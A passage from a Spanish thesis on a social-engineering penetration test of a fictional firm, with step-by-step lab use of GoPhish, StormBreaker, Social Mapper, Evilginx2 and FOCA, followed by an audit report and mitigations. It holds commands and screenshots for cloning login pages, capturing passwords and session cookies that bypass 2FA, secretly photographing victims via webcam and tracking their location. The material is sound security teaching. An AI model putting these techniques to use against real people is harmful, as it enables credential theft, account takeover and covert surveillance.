hay que comentar que es un software de cddigo abierto completamente gratuito.

Descargaremos el paquete e iniciaremos con doble clic, se nos abrird una ventana Shell, donde

veremos que ya corre unservidor web con unas credenciales (Figura 42), que nos pedird después

de registrarnos, que los cambiemos.

Figura 42. Log de ejecucion

Disponemos de un fichero config.json, donde podemos configurar la aplicacion y configurar

ciertos parametros como direccidon certificados, etcétera. Nosotros lo dejamos con los
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pardmetros por defecto. Accederemos a la web y nos pedird las claves de acceso, véase Figura
43. Obviamente, para ser una simulacién 100% real, deberiamos alojarla en un dominio, con sus
correspondientes certificados oficiales, pero al ser de caracter educativo y local lo alojaremos

en una red interna y podremos ver sus funcionalidades, de una manera simulada.

Please sign in

@ You have successfully logged out

Figura 43. Portal de acceso a Gophish

Cuando accedemos al programa, la primera parte a configurar sera la del perfil de correo (Figura
44). Como ya hemos comentado anteriormente, se hara uso de una cuenta generado en Gmail
y se haran pruebas a una escala de empresa, de todos los correos recolectados. Para mayor
realismo, la configuracidn del programa deberia ser otra. No deberia ser un servidor interno de
la empresa. Para la configuracidon del correo, deshabilitamos opciones de seguridad como la de

doble autentificacion o la de configurar aplicaciones menos seguras, dentrode la configuracion

de Gmail.
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New Sending Profile

Name:

Google
Interface Type:
SMTP

From:

ey, ) o mail.com

Host:

smtp.gmail.com

Username:

@y mail.com

Password:

Ignore Certificate Errors @

Email Headers:

|2
Show | 1o |entries

Figura 44. Generando un nuevo Profile

nuestras pruebas. Tienes la opcidn de importar el cédigo HTML.

< Add Custom Header

Search:

Una vez configurado y verificado el correo, se tiene opcidn a enviar un correo de prueba para
ver si estd todo correctamente configurado. El siguiente paso, Figura 45, serd generar la pagina

de destino. En nuestro caso haremos uso de la pagina Facebook como pdgina para realizar
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New Landing Page

Name:

Facebook

@ Import Site
HTML
B & @ el o M(@EEE QX Bsue @
B I 5| % |2 = E | 99| Styles ~ | Format -
Correo electrénico o nimero de teléfono
A »

u Capture Submitted Data @

n Capture Passwords

© Warning: Credentials an ly not encrypted. This means that captured passwords are stored in

eartext. Be ca

Redirect to: @

https://facebook.com

Figura 45. Generando una nueva pdgina de despegue

También se puede configurar que capture los datos, asi como dénde redirigir en caso de capturar
dichos datos. A continuacién, generaremos la plantilla de correo que deseamos mandar. En este
caso, configuramos una plantilla con una importacioén, para hacer del correo un enganche mas
veridico y que la persona se crea que realmente es Facebook quién escribe. Importaremos un
cédigo HTML, de un correo que hayamos recibido de Facebook. Seleccionando un correo
seleccionamos la opcidn “Mostrar Original”, para poder ver el cédigo HTMLy engancharloen el
programa. Dentro del programa tenemos la posibilidad de afadir variables para poder
personalizar el correo con nombres y apellidos, por ejemplo, o la direccion phishing que hemos

creado con anterioridad, como se puede ver en la Figura 46.
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New Template

Name:

Facebook

Subject:

Text HTML
B @ @ . = M EmE=E Q¥ Bsue B

B I &S I = =2 45 | 7Y | Styles - | Format -

li Facebook

Hola, {{.FirstName}} {{.LastName}}:
Your Facebook password was changed el Data i hora: Divendres, 10 de desembre de 2021 17:34
(UTC+01).

Add Tracking Image

4 Add Files

Figura 46. Generando una nueva plantilla

El siguiente paso basico que debemos hacer es crear una lista de usuarios, donde debemos
poner nombre, apellido y correo. Se puede realizar una importacidn de un listado de manera

masiva, que seria el casode nuestra prueba a nivel de la empresa FictCorp, véase Figura 47.
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New Group

Name:

Facebook Test

+ Bulk Import Users

Show‘ 10 entries Search:

First Name Last Name Position
Luis Gil T z ... A W

Marta Aparicio = .. B z)

Showing 1 to 2 of 2 entries Previous Next

Figura 47. Generando un nuevo grupo
Y, por ultimo, lanzaremos una campana, la cual consistira en enviar un correo que hemos
generadoa un grupo especifico que hemos creado anteriormente. La direccidn afiadida es la IP
local de la maquina donde se ejecuta GoPhish, pero como hemos comentado, deberia ser una

enmascarada enun DNS para poder captar correctamente los datos (Figura 48).
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New Campaign

Name:
Facebook
Email Template:
Facebook
Landing Page:
Facebook
URL: @
http://192.168.1.71
Launch Date Send Emails By (Optional) @
December 10th 2021, 11:56 pm
Sending Profile:
Google
Groups:

* Facebook Test

Figura 48. Generando una nueva campafa
En este momento, lanzamos la campafiay cada usuario del listado recibira un correo simulando
un cambio de password en su cuenta de Facebook. El correo recibido tendrd muchas
probabilidades de éxito, dado que la similitud con un correo de la compafiia Facebook (Figura

49), hara que el usuario, instintivamente intente acceder:
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n Facebook

Hola, Luis Gil:

Your Facebook password was changed el Data | hora: Divendres, 10 de desembre de 2021 17:34 (UTC+01).
Adrega IP —
Ubicacio estimada: [ |

Si has estat tu, ignora aquest correu electronic.

Si no has estat tu, protegeix el teu compte.

Gracies,

L'equip de seguretat de Facebook

a gil.luis&4@gmail.com

Més informacid

Figura 49. Correo de ejemplo que recibe la victima
Al seleccionar el enlace, la pagina redireccionard a la pagina anteriormente clonada. Simula una
web de Facebook, dénde solicita credenciales, y el usuario aiade suusuario y password. Enese
momento, cuando introduce los datos, la pagina web redireccionara a la web oficial de Facebook
(véase Figura 50), de esta manera el usuario, no se habrd dado cuenta, pero el programa habra

registrado sus datos confidenciales.

| — TR A

Correo electrénico o nimero de teléfono

facebook Covaseta

Facebook te ayuda a comunicarte y “
compartir con las personas que forman

parte de tu vida. Has olvicado Ia contrasefia?

Crea una pagina para un famoso, Una Marca o una empresa

Figura 50. Pdgina Phishing dénde accede la victima
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Una vez lanzada la campafa, podemos hacer un seguimiento de todos los usuarios y extraer
estadisticas sobre si el usuario ha accedido al correo, si ha accedido al link o si ha introducido
sus claves (Véase la Figura 51). El objetivo de este programa es meramente formativo, y tiene
caracter de concienciacion para los empleados de las empresas, asi como también tiene caracter
de concienciacién por parte de la directiva para invertir en seguridad informaticay encontrar el

eslabdén mas débil.

05:06:16.500 08:06:17.000 08:06:17.500 08:06:18.00€ 08:06:18.500 08:06:18.000 08:05:18.500 05:06:20.000 05:06:20.500 08:06:21.00 08:05:21.500

Email Sent Email Opened Clicked Link Submitted Data Email Reported

Details

Show| entries Searc

First Name Last Name Email Position Status Reported

- Luis Gil gil.lluisa4@gmail.cor

Timeline for Luis Gil

Campaign Created

Email Sent

Clicked Link

Figura 51. Dashboard de Gophish

7.5.- StormBreaker

Una de las herramientas que mas sorprende y mayor utilidad puede dar al atacante es
StormBreaker (Ultrasecurity, 2022). Esta herramienta de la ingenieria social realiza ataques a

dispositivos méviles y al sistema operativo Windows 10.

e Puede obtener ubicaciones.
e Escuchas de micréfonos.
e Capturas de cdmaras de fotos.

e Contrasenas de Windows 10.

Como podemos ver, es un surtido de acciones que pueden llevar al atacante a disponer de
informacion confidencial de una manera facil. A todo ello, el programa viene con la
funcionalidad de Ngrok, un programa que facilita el acceso de paginas locales al exterior, dando

mayor realismo a nuestras simulaciones y permitiendo extender nuestros ataques a mayor
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cantidad de personas. Para realizar las pruebas, hemos utilizado la maquina virtual Kali Linux,

que tenemos preparada.

Para la instalacion del programa, procederemos a realizar dichos comandos:

e ScdStorm-Breaker

e Ssudo bash linux-installer.sh

e Ssudo python3 Storm-Breaker.py

e Sgitclone https://github.com/ultrasecurity/Storm-Breaker

e S python3 -m pip install-r requirments.txt

También hemos registrado el programa Ngrok, asi como hemos activado la autentificacion:

e sudo ngrok authtoken “Token”

Una vez instalada y configurada la aplicacion ejecutaremos el programa. Dénde se nos

presentard la siguiente ventana (Figura 52):

05:
Host:
Kernel:
Uptime:

Resolution:

WM: Xfwm4

Theme: Ka

Icons: Flat-
Terminal: gter
Terminal Font: Fir
CPU: Intel Penti
GPU: 0@:

Memory

Figura 52. Pdgina deinicio

@ 1.497GHz
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Aqui podemos ver las diferentes funcionalidades de las que dispone el programa. Probaremos
la primera opcién, la de acceder a la webcam. En este caso, el programa generard un link
phishing y este debera ser enviado a nuestra victima. Este link, ya tendra acceso directo a
internet con lo cual, se podra enviar via Whatsappi via enlace, como se puede ver en la Figura

53.

https:///IEEEEEEEEEEEEN . ncrok.10 — ht

Figura 53. Enlace que se debe enviar a la victima

El comportamiento del programa consistira en que accederd al recurso local de la cdmarae ird
realizando fotos, silenciosamente, y las almacenara en una carpeta local de la maquina virtual

Kali. Podemos ver que el programa va recibiendo las fotos, como se puede ver en la Figura 54.

S
Android

Europa central

/images Folder
Received Place Check /images Folder
Received Place Check /images Folder

Folder

Received Check /images Folder

Received Place Check /images Folder

' ~/Storm-Breaker

Figura 54. Log conforme el atacante recibe fotos de la victima

Una vez capturadas las imagenes podremos accedery verlas, y hacer uso de ellas para fines

que puedan comprometer a la victima, como se puede ver en la Figura 55.
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home kali Storm-Breaker webcam images

cam28Dec2021165734.png

cam28Dec2021165736.png

cam28Dec2021165737.png

Figura 55. Fotos capturadas por la victima

Otra funcionalidad que hemos testeado ha sido la de la geolocalizacion. En este sentido, esta
funcidn, nos dara a conocer la ubicacion de la persona. Esto puede ser de gran ayuda para el
atacante ydar una informacion que puede comprometer a la victima. Seleccionamos la funcién
de acceder a la localizacion y de la misma manera que la prueba anterior el programa nos
generara un link que haremos llegar a la victima. Esta accederd, dado que es un link temporal
de accesoexternoy el programa registrara su ubicaciéon dando al atacante las coordenadas de

la victima. El programa generard un enlace a Google Maps, véase Figura 56.
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Figura 56. Ubicacion dela victima

Como hemos podido comprobar, este programa puede comprometer de una manera ostensible
a una persona en cuanto a su intimidad. Por ejemplo, este programa y la correspondiente
captacion de la informacion puede llegarse a usar para chantaje a un directivo de una empresa
0 aotro tipo de empleado y disponer de accesoa informacidon de mas importancia. El modo de
prevenir este tipo de ataques es la formacién y la concienciacién, para tener conocimientos en

casode que algundia se pueda acometer dicho ataque.

7.6.- Social Mapper

Otra herramienta que vamos a testear y es de gran utilidad para la recopilaciéon de datos es
Social Mapper (Greenwolf, 2022). Trustwave ha desarrollado una herramienta Open Source que
utiliza reconocimiento facial y permite hacer una correlacién entre perfiles de diferentes redes
sociales. Permite a los usuarios encontrar una persona de interés en diferentes medios donde
pueda registrarse. El propdsito de la herramienta es Util durante fases de pentesting, destinadas
a lanzar ataques de ingenieria social contra empleados de la propia empresa o de un cliente. El
sistema de reconocimiento facial que implementa busca automaticamente al objetivoa loancho
de 8 redes o plataformas sociales que incluyen, Facebook, Instagram, Twitter, LinkedIn, Google+,

VKontakte, Weibo, Douban.

Una vez capturados los datos, podemos usarlos para las siguientes finalidades:

e Crear perfiles de redes sociales falsos y enviar enlaces o malware.
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e Engaiaralos usuarios para que revelen sus correos electrénicos y nimeros de teléfono
usando técnicas de phishing, vishing o smishing.

e Crearcampafias de phishing personalizadas para cada sitio de red social, sabiendo que
el objetivo tiene una cuenta.

e Acceder a las fotos parafamiliarizarse con los interiores de los edificios restringidos.

Para su instalacién, debemos preinstalar las siguientes librerias, asi como los siguientes

programas.

sudo apt-get install build-essential cmake
e sudo apt-getinstall libgtk-3-dev

e sudo apt-get install libboost-all-dev

e Geckodriver

e Firefox

e Selenium

Hay que comentar que haremos uso de la maquina virtual Kali, con la que ya hemos realizado
anteriormente las otras pruebas de software. Una vez instalados los prerrequisitos, clonaremos
el programa, lo instalaremos y editaremos el fichero que contiene las credenciales de accesoa

las diferentes redes sociales. En este caso es mejor crear perfiles falsos.

e git clone https://github.com/Greenwolf/social_mapper
e cdsocial_mapper/setup

e python3 -m pip install --no-cache-dir -r requirements. txt

A partir de aqui se pueden realizar multiples ejemplos, dado que es un programa via comandos,
que dispone de diferentes parametros. Nosotros hemos realizado una busqueda sobre la
empresa FictCorp y nos ha sacado un largo listado de informaciéon sobre sus empleados.
Comentar, que Unicamente hemos afiadido las credenciales de Linkedin y twitter, como se

puede ver en la Figura 57.
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Figura 57. Social Mapper

Al final de la busqueda dispondremos de una carpeta con todas las fotografias de los usuarios
pertenecientes a dicha compaiiia, asicomo un fichero plano con todos los enlaces y una pagina

HTML, con toda la informacién recogida como se puede observar en la Figura 58.

A

EE

BN social- I social- | social-
mapper mapper.csv mapper.html

Figura 58. Output generado una vez ejecutado

Hay que destacar que la busqueda ha durado un tiempo prolongado, dado la magnitud de esta

compaiiia.

También disponemos de la posibilidad de, dada una imagen, poder buscar informacién sobre
esa foto. Haremos el ejemplo volcando la fotografia del presidente de la compafiia FictCorp,

véase el comando de la Figura 59.

[~fsocial_mapper ]
social mapper.py imagefolder

ed succ
s [+]

Figura 59. Ejemplo como ejecutar SocialMapper

Mediante la aplicacidn Social Mapper podemos recopilar informacién mas facilmente de caraa

realizar ataques de phishing, ingenieria social y en general pruebas de pentesting. De esta forma
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podremos invertir tiempo en otras tareas. Por supuesto, estamos ante un medio de OSINT que
puede ser aprovechado tanto por atacantes como probadores del sistema. Para los atacantes
serd una herramienta que ayudara en la recopilacién de datos, ahorrando gran cantidad de
tiempo y dando un plus de calidad mediante el tema del reconocimiento facial, otorgando
mecanismos en cuanto a la generacién de ataques que impliquen la suplantacién de identidad,
o ubicacion de sitios confidenciales. Para los probadores de pentesting, serd un programa que
ayudara a recolectar informacion que puede generar el empleado en las redes sociales y que no
ayuda a la compania para prevenir o mitigar posibles fallas dentro de su sistema de seguridad.
La formacion de los empleados en los peligros que entrafian las redes sociales es clave para

defenderse de posibles ataques.

7.7.- Evilginx2

Vamos a analizar otro tipo de herramienta llamada Evilginx2 (Gretzky, 2022). Es un framework
de ataque para configurar paginas de phishing. En lugar de ofrecer plantillas de paginas de inicio
de sesidn, Evilginx2 se convierte en un relevo (proxy) entre el sitio web real y la victima de
phishing. El usuario phishing interactua con el sitio web real, mientras que Evilginx2 captura

todos los datos que se transmitenentre las dos partes.

Evilginx2, podemos decir que es un tipo de atague man-in-the middle (MITM), captura no solo
los nombres de usuario y las contrasefas, sino que también captura los tokens de autenticacién
enviados como cookies. Los tokens de autenticacion capturados permiten al atacante eludir
cualquier forma de autentificacion 2FA habilitada en la cuenta del usuario (excepto los
dispositivos U2F). Inclusosi el usuario phishing tiene habilitado 2FA, el atacante, que dispone de
un dominio y un servidor VPS, puede hacerse cargode forma remota de su cuenta. No importa
si el sistema 2FA usa cddigos SMS, una aplicacion de autenticacién modvil o claves de

recuperacion.

Evilginx2 no proporciona sus propias paginas HTML como en los ataques de phishing
tradicionales. Evilginx2 se convierte en un web proxy. Cada paquete, del navegador de la victima,
es interceptado, modificado y reenviado alsitio web real. Lo mismo sucede con los paquetes de
respuesta, del sitio web, son interceptados, modificados y devueltos a la victima. En el lado de
la victima, todo parece como sise estuvieran comunicando con el sitio web legitimo. Podemos

observar el concepto de conexidn que realiza un ataque MITM en la Figura 60.
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Figura 60. Ataque man-in-the-middle

Para realizar una prueba con esta herramienta haremos uso de nuestra maquina virtual Kali

Linux. Es una herramienta que se debe instalar dado que no viene preinstalada enla distribucion.

Parasu instalacionintroduciremos los siguientes comandos:

e sudo apt-get -y install git make

e gitclone https://github.com/kgretzky/evilginx2.git
e cdevilginx2

e make

Una vez ejecutados dichos comandos, ya tendremos nuestra herramienta instalada. Aunque

primeramente se habra tenido que instalar como prerrequisito las herramientas GO.

e aptinstallgolang-go

Otro prerrequisito que se habrd tenido que realizar es la de la modificaciéon del fichero
/etc/hosts, afiadiendo el dominio donde queremos trabajar. En nuestro caso al ser pruebas

locales, afiadiremos la siguiente linea: “127.0.0.1 www.localhost”.

El siguiente paso es el de ejecucién del programa. Como hemos comentado, este programa
realmente hace uso de la conexidn con el sitio real, es por ello por lo que se deberia realizar
fuera del dominio localhost, pero dispone de una opcién developer, para saltarse ciertos

requisitos.

e sudo./bin/evilginx -p ./phishlets/--developer

Una vez ejecutado nos aparecera las opciones a conexion que disponemos, véase Figura 61:
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Figura 61. Evilginx

Haremos una prueba con la red social Linkedin. Para empezar, deberemos definir la IP y el

dominio.

e config domain localhost
e configip 127.0.0.1

Acto seguido deberemos registrar y activar el phishlet de Linkedin, mediante los siguientes

comandos:

e phishlets hostname linkedin localhost
e phishlets enable linkedin

Una vez activado, deberemos generar un enlace phishing para la victima. Para ello ejecutaremos

los siguientes comandos:
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e |ures createlinkedin
e |ures edit 3 redirect_url https://www.linkedin.com/
e |ures get-url3

El 3 es un numero correlativo que se genera, en nuestro casohemos realizado 3 pruebas,
como podemos observar en la Figura 62.

: phishlets hostname linkedin localhost
[17:47:18] [inf] phishlet 'linkedin' hostname set to: localhost
[17:47:18] [ ] disabled phishlet 'linkedin’
: phishlets enable linkedin
[17:47:28] [ ] enabled phishlet ‘linkedin’
"] developer mode is on - will use self-signed SSL/TLS certificates for phishlet 'linkedin’
reate linkedin

[17:47:56] [inf] created lure with ID: 3

: lures edit 3 redirect_url https://linkedin.com
[17:48:19] [inf] redirect_url = 'https://linkedin.com’
: lures get-url 3

Figura 62. Evilginx, generacion de la URL

En este momento deberiamos pasarle a la victima dicho enlace. Y nos aparecerad la siguiente

imagen (Figura 63), dénde introduciremos las credenciales:

Signin

Stay updated on your professional world

Email or Phone
| test@gmail.com

Password
123456

The password you prouidec must have at least 6

hide

characters.

Forgot password?

‘ Sign in with Apple

Mew to LinkedIn? Join now

Figura 63. Solicitud de datos

116




En este momento el programa capturara los datos que ha introducido la victima, véase la Figura
64 y podremos disponer de informaciéon confidencial. Como es obvio esto es en un banco de
pruebas, yes mas sencillo el éxito del ataque. Se entiende que, para uningenierosocial, el simple

hecho de enviar el enlace ya supone un reto.

2022/01/26 17:48:30 [001] WARN: Cannot handshake client www.linkedin.com remote er
:48:36] [Amp] [0] [ ] new visitor has arrived: Mozilla/5.0 (X11; Linux x86
:48:36] [inf] [0] [ ] landing URL: | I

149:42] [ - :
Fr A0 28200 ] [0] Password: [123456]

Figura 64. Captura de credenciales

También dispondremos de las cookies del programa usando el comando “sessions”, que en

nuestro caso restard vacio (Figura 65).

sessions 6

Figura 65. Captura de cookies

A nivel de usuario o empresa, lo Unico que se puede hacer con el phishing es ser lo mas
cuidadoso posible. Evilginx2 tiene un gran potencial, como hemos visto, puede sobrepasar los
limites de la seguridad, a parte es practico, facil de usar y con suficientes opciones para
personalizar tus propios ataques. Con suerte, esta prueba realizada sobre las capacidades de
Evilginx podrd ayudar a generar conciencia sobre el tema (MITM, phishing, seguridad en
general). Nose deben realizar clics alazar en nada que se reciba, especialmente noiniciar sesion

en ninguna pagina que no inspire confianza.

7.8.- FOCA

Como hemos comentado anteriormente, en la parte tedrica, existe una potente herramienta
que puede ahorrar mucho tiempo en realizar un trabajo de recoleccion de datos, tanto para el

Pentester IT como para el atacante.
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Esta herramienta se llama FOCA (Datos, 2021) en honor a su creador, Francisco Oca. FOCA
permite la extraccion y el andlisis de metadatos ubicados en un servidor o en una pagina web.
Dicha informacidn se obtiene a partir de ficheros tipo Microsoft Office, PDFy SVG entre otros
que son localizados utilizando motores de busqueda como Google, Bing y DuckDuckGo. El
analisis por parte de FOCA de dichos metadatos genera un informe agrupado con informacion

relevante como configuracion de la red, proxy, ficheros de backup, etc.
Los requisitos que requiere el programa son los siguientes:

e  Microsoft Windows (64 bits). Versiones 7, 8, 8.1y 10.
e Microsoft .NET Framework 4.7.1.
e  Microsoft Visual C++ 2010 x64 o superior.

e SQL Server 2014 o superior.

A partir de la informacién obtenida de los metadatos de los diferentes ficheros, el mddulo de
descubrimiento de servidores utiliza las siguientes técnicas para realizar un fingerprint del

dominio o servidor auditado:

e Web Search: bisqueda de nombres de servidores y dominios.14

e DNS Search: consulta de los hostnames NX, MX y SPF.

e Resolucidn IP: consultas a DNSinternos de la organizacion.

e PTR Scanning: localizacién de servidores en el mismo segmento de red.

e BingIP: busqueda de servidores partiendo de otras direcciones IP descubiertas.

e Common Names: realiza ataques de diccionario DNS.

e También analiza la posible existencia de servidores proxy tipo Squid por medio de

revision del puerto 3128.15
En cuanto a los datos obtenidos puede llegar a mostrar la siguiente informacién:

e Sistema operativo con el que fueron creados los documentos.

e Modelos de impresoras usadas.

e Fechas de impresién, modificacidn y creacion.

e Versién del software utilizadoen sucreacion.

e Correos electrénicos dentro de los documentos, si hubiera alguno.

e Rutasde ficherosy nombres de autores y nombres de usuarios.
Nosotros para realizar la prueba, hemos instalado el programa desde su propia pagina web:

e https://www.elevenpaths.com/innovation-labs/technologies/foca
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Primeramente, se ha instalado el servicio SQL Express, gratuito, dado que durante la instalacién
se requiere. Una vez descargado el programa, se ha instalado en un ordenador con sistema
operativo Windows 10. Una vez instalado, crearemos un proyecto desde la pestafia Project ->

New Project, como se puede ver en la Figura 66.

@ FOCA Open Source 3.4.7.1 - o x
B Project * Plugins ¢ Options E TaskList o About E
-5 Project Name
#1-[J Metwork
- Domains
[#-10) Document Analysis O C a
OPENSOURCE
Select project | v
Project name |TFM |
— —
Atemative domaing ‘ ‘
Folder where to save documents |C:"-.Lhers'\luisg\.‘lpdea'\Local'\Temp‘| E=l
Project date | jueves . 27de enero de 2022 [+ |
Project notes
B Create B oot @ Cance!
Time Source Severty Message
9, Settings = [¥] Deactivate AutoScrol 7 Clear B Save logto File

Figura 66. Foca creacidn de proyecto

Afadiremos el nombre de nuestro proyecto, asi como el dominio de la empresa FictCorp que
deseamos testear. Luego realizaremos el tipo de busqueda que deseamos realizary con los
motores de busqueda que deseamos usar. Puede ser que dependiendo del dominio y del tipo
de busqueda que realicemos, salte algun error dado que las consultas en algin motor de

blusqueda estan limitadas.
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& TFM - FOCA Open Source 3.4.7.1

O roou: W=

Search engines Extensions Al None

Google doc [ docx A sew
Bing ppt [ potx [ ot
DuckDuckGo pps [ ppsx [ ods

B Project * Plugins * Options E TaskList
=@ TFM
el [ Metwark
- A Domains
- 1[] Documert Analysis
op
Custom search
d Type URL
| |
Simel @
116 -
oy | R
ol1ie |38 o4
I (e
» [ 3
-
REEE
.
e
<
Qa
Time Source Severity  Message vy
165513 MefadataSearch  emor  Anemorhasocuredon Dy
16:55:13  MetadataSearch  emor An emor has ocured on Gy I3,
16:55:44  MetadataSearch medium BingWeb search finished
P
v}
9, Seings | | [4] Deactivate AutoScroll | | 47 Clear | =]
All searchers have finished
(=]

Acto seguido deberemos descargarnos los ficheros “Download Al

Download

Extract Metadata
Analyze Malware
Delete

Download All
Extract All Metadata
Analyze All Metadata
Analyze All Malware
Delete All

Add file

Add folder

Add URLs from file

Link(s)

wics fibe

fguardia-urbana fitx...

[Fxls (s (A oda

Download Download Date

res/o...

&l
X
£

pto; (403) Prohibido..
£9) Too Many Requests..
B

B Savelogto Fle |

Figura 67. FOCA

|II

, como seve en la figura 67y

realizaremos una extraccidon de los metadatos de los ficheros descargados “Extract All

Metadata”. A partir de aqui tendremos catalogada la informacidén en diferentes agrupaciones,

ver Figura 68, como Sistemas operativos, software, usuarios, ... y podremos sacar informacion

muy Util para poder realizar un ataque o ver qué tipo de vulnerabilidades puede tener un

dominio.
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=@ TEM
-] Metwark Adtribute Value
#-As Domains All operating systems found (0] - Times found
=~ Documert Analysis
510 Fies (142142 0s Windows XP
i EE doe [15] 05 Windowsa XP
m-uﬂ docx (1) 035 Windows 7
[T pdf (33}
@@ pet (9)
[+ s (1)

@ Unknown (22)
E- . Metadata Summary
i e Users (B0)
- Folders (28)
- Prirters (1)
<) Software (75)
-l Emails (B)
R Cocesing Sriems )
O Passwonds ([)
= Servers (0}

-T2 Mahware Summary (DIARID)

Figura 68. Foca Output final

7.9.- Informe de resultados

7.9.1.-Resumen Ejecutivo

Se harealizado una evaluacion de seguridad informatica a la compaiia FictCorp para determinar
las vulnerabilidades existentes y establecer el nivel actual de riesgode seguridad asociado con
el entornoy las tecnologias que usan. Esta evaluacidn aproveché las pruebas de penetraciony
las técnicas de ingenieria social para proporcionar a la Direccién General de FictCorp una
comprensién de los riesgos que entrafan y dar unas pautas de recomendacién en cuanto a

seguridad corporativa.

7.9.2.- Alcance

El alcance de la prueba para este proyecto incluyd la relacion de datos publicos que existenen
la red publica que son de caracter privado o confidencial y que pueden llegara comprometer a
la empresa FictCorp. Ademas, se solicitd que se realizara una auditoria inaldambrica en su
infraestructura Wifi para descubrir protocolos inaldmbricos inseguros, redes no seguras o

problemas de seguridad relacionados. También se solicitd una evaluacién de ingenieria social
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para juzgar la capacidad de respuesta del personal de la empresa ante posibles ataques de

phishing.

El proyecto de pentesting ha sido realizado a lo largo de cinco meses. Las pruebas fisicas se
realizaron del 2 de diciembre de 2021 al 25 de enero del 2022. Se utilizaron dias adicionales para

producir el informe.

Las pruebas se realizaron utilizando Frameworks y herramientas de penetracion, incluidos SET,
FOCA, WifiPhser, Maltego, Metasploit Framework, GoPhish, StormBreaker, Social Mapper
Evilginx2.

7.9.3.-Resultados

La siguiente tabla incluye el alcance de las pruebas realizadas, asicomolos resultados generales

de las pruebas de penetracion en estos entornos.

Entorno Resultado delas pruebas
Red Wifi Medio

Exposicidon de datos publicos Bajo

Empleados/as Bajo

En lineas generales las pruebas realizadas han concluido que la empresa FictCorp tiene una
buena base en la proteccién sobre los ataques de Ingenieria Social, no obstante, se deben de
tener en consideracidn ciertas mejoras que pueden mitigar, ain mas cualquier injerencia

externa o interna que pueda producirse.

En cuantoalaseguridadde las redes inaldmbricas, realizamos varios escaneos e intentamos una
variedad de ataques mediante la herramienta Wifiphisher. A través de un analisis riguroso,
encontramos vulnerabilidades que pueden afectar la configuracion de la red inaldmbrica y el

accesono licito de personas externas a la empresa.

Por lo que respecta elalcance de los empleados y su capacidad para enfrentarse a la Ingenieria
Social, parecen estar relativamente preparados para defendersede los ataques. Se han realizado
campanas de Phishing con GoPhish, ataques Phishing y Metasploit Framework mediante SET,
ataques a numeros de moviles con StormBreakery se ha intentado usar las redes sociales para

intentar extraer credenciales que puedan comprometer a la empresa.
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Por ultimo, en cuanto a informacidn publica se puede decir que se deberia verificar punto por
punto qué informacién desea la empresa mostrar y cual no, dado que en lineas generales no
parece disponer de informacién confidencial, ni datos que puedan llegar a tener consecuencias
graves de cara un posible ataque. Las herramientas OSINT utilizadas han sido FOCA y Maltego,

para la extraccion de datos.

7.9.4.-Recomendaciones

Primeramente, es importante comentar que los esfuerzos realizados por parte de la empresa
FitCorp, después de la implementacién de las recomendaciones, se realicen procesos de
auditoria por lo menos dos veces al afio para asegurar que todo esté en funcionamiento y los

procedimientos y politicas se encuentren activos.

En cuanto a recomendaciones que se pueden dar para disponer de un sistema mas robusto en

la empresa, serianlas siguientes, segun alcance:
Sistema Wifi

e Ataques al sistema Wifi, siempre pueden llevarse a cabo, no hay manera de prevenirlos.
Sin embargo, como con cualquier ataque de ingenieria social, la mejor manera de
mitigarloes formandoa los usuarios, que es un elemento crucial para poderse defender.
Asegurese de que los empleados comprendan el riesgo que supone el conectarse a
puntos de accesoabiertos y que conozcan bien las técnicas aplicadas en esta auditoria.
También se recomienda ejecutar simulaciones periddicas de los ataques mencionados
anteriormente.

e Otra recomendacion es la de utilizar un servidor RADIUS para la autenticacion y
autorizacion de los empleados usuarios LDAP, parauna mejor gestionde los usuarios,
se puede llevar un registrodetallado de los accesos a la red WiFi, privilegios, niveles de
acceso, filtros, etc. personalizados para cada empleado. Evitando asi el uso de claves
compartidas, ydandole un plus de seguridad al sistema Wifi de la empresa.

e Otra mejora que se puede implantar es la figura del proxy para la navegacion de

internet, de esta manera se podranaplicar politicas de filtrado de contenido para evitar
gue alguien visite sitios inapropiados o maliciosos.

e Se puede definir quién tiene accesoa la redinaldmbricay establecer qué tipo de acceso
damos v si establecemos algun tipo de limitacion. Para dar seguridad a la red Wifi, lo

recomendable seria configurar un identificador de conjunto de servicios (SSID), de
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forma que existan diferentes redes inaldmbricas con diferentes accesos, uno para
empleados y otra para clientes o visitantes. Dénde se aislard la red de clientes evitando
gue pueda acceder a otro servicio que no sea el de internet.

Actualizar los sistemas firmware de las controladoras Wifi, a parte de beneficiar la
seguridad en nuestra wifi, también mejora la estabilidad de estas.

Implementar un portal cautivo, para el uso sobre todo en la SSID de clientes, donde
interesa mostrar un mensaje de bienvenida y para informar de las condiciones de acceso
(puertos permitidos, responsabilidad legal, etc.). Su finalidad serd que seanlos propios

usuarios quienes se responsabilicen de sus acciones, y asi evitar problemas mayores.

Exposicion de datos publicos

El primer paso es el de tener conocimiento sobre los datos expuestos de una manera
publica y saber cual de ellos es sensible. Nos da a entender qué informacién no debe
caer nunca en manos equivocadas. Es por ello por lo que la recomendacién es la de
identificar las vulnerabilidades y eliminarlas o mitigarlas antes de que estén expuestas.
Otra recomendacion que puede dar un plus en la seguridad es traer a un especialista
externo al menos una vez al afio para realizar evaluaciones de la seguridad de este tipo
en la empresa. Un especialista externo puede aportar nuevos agujeros negros en la
empresay encontrar vulnerabilidades que pueden estar pasando por alto.

La recomendacion referente a los metadatos en ficheros publicos es su limpieza
individual previa a la publicacién de los ficheros. En funcién de cada tipo de fichero,
Microsoft Office, adobe, etc., el responsable de cada fichero, debe realizar esta tarea
mediante la visualizacion, y eliminacién de metadatos que suelen encontrarse en la
opcion de “propiedades del documento”. Esta tarea se puede realizar mediante
aplicaciones destinadas a ello, como por ejemplo, ExifCleaner, MetaCleaner.

También es recomendable disponer de herramientas de seguridad bien configuradas
(Firewalls, IDS/IPS, etc.), para detectar y frenar que se produzcan escaneos en la red

corporativa, estableciendoreglas restrictivas.

Empleados/as

En cuanto al alcance de la plantilla FictCorp, recomendamos encarecidamente seguir
formando periddicamente y no escatimar recursos para la elaboracion de nuevas
formaciones, ni posibles simulaciones de ataques, de esta manera siempre tendremos

una plantilla de personas listas y preparadas para actuar sifuera necesario.
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Realizar formaciones especificas y mas exhaustivas para grupos de usuarios o
departamentos sensibles, ya sea recursos humanos, equipo directivo, secretariado, ...
Si el atacante logra destruir la barrera de la capacitacién y la conciencia del empleado,
agregar capas de proteccion a la seguridad de los datos puede garantizar que la
informacién permanezca segura. La autenticacién multifactor puede ayudar a mantener
la informacién fuera del alcance de los atacantes. El departamento IT pueden usar la
autenticacion multifactor para agregar restricciones para acceder a los datos mas
confidenciales en los recursos de la red. Si un usuario de la red puede acceder a un
sistema, pero el sistema requiere que los usuarios verificados tengan un token o
certificado para acceder a los datos, las empresas permanecen seguras, incluso de los
ataques de ingenieria social.

